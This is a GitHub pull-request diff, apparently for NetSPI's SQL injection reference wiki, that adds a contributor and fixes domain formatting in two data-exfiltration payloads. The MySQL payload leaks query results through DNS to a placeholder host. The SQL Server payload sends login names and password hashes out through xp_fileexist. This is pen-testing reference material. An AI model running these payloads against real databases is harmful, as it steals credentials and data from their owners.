Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ See [CONTRIBUTING.md](https://github.com/NetSPI/WikiJekyllTheme/blob/master/CONT
- Ben Tindell
- Colin Salisbury
- Eric Gruber (@egru)
- Ian Williams (@aph3rson)
- Jake Reynolds (@jreynoldsdev)
- Khai Tran (@k_tr4n)
- Rafael Seferyan
Expand Down
2 changes: 1 addition & 1 deletion attackQueries/dataExfiltration/mysql.html
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ <h3 id="data-exfiltration">Data Exfiltration</h3>
</thead>
<tbody><tr>
<td>DNS Request</td>
<td>SELECT LOAD_FILE(concat('\\\\',(<strong>QUERY_WITH_ONLY_ONE_ROW</strong>), 'yourhost.com\\'))</td>
<td>SELECT LOAD_FILE(concat('\\\\',(<strong>QUERY_WITH_ONLY_ONE_ROW</strong>), '.yourhost.com\\'))</td>
</tr>
<tr>
<td>SMB Share</td>
Expand Down
2 changes: 1 addition & 1 deletion attackQueries/dataExfiltration/sqlserver.html
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ <h3 id="data-exfiltration">Data Exfiltration</h3>
<tbody>
<tr>
<td>Make DNS Request</td>
<td>DECLARE @host varchar(800);<br>select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + 'netspi.com' from sys.sql_logins;<br>exec('xp_fileexist "\' + @host + 'c$boot.ini"');</td>
<td>DECLARE @host varchar(800);<br>select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.netspi.com' from sys.sql_logins;<br>exec('xp_fileexist "\' + @host + 'c$boot.ini"');</td>
</tr>
<tr>
<td>UNC Path (DNS Request)</td>
Expand Down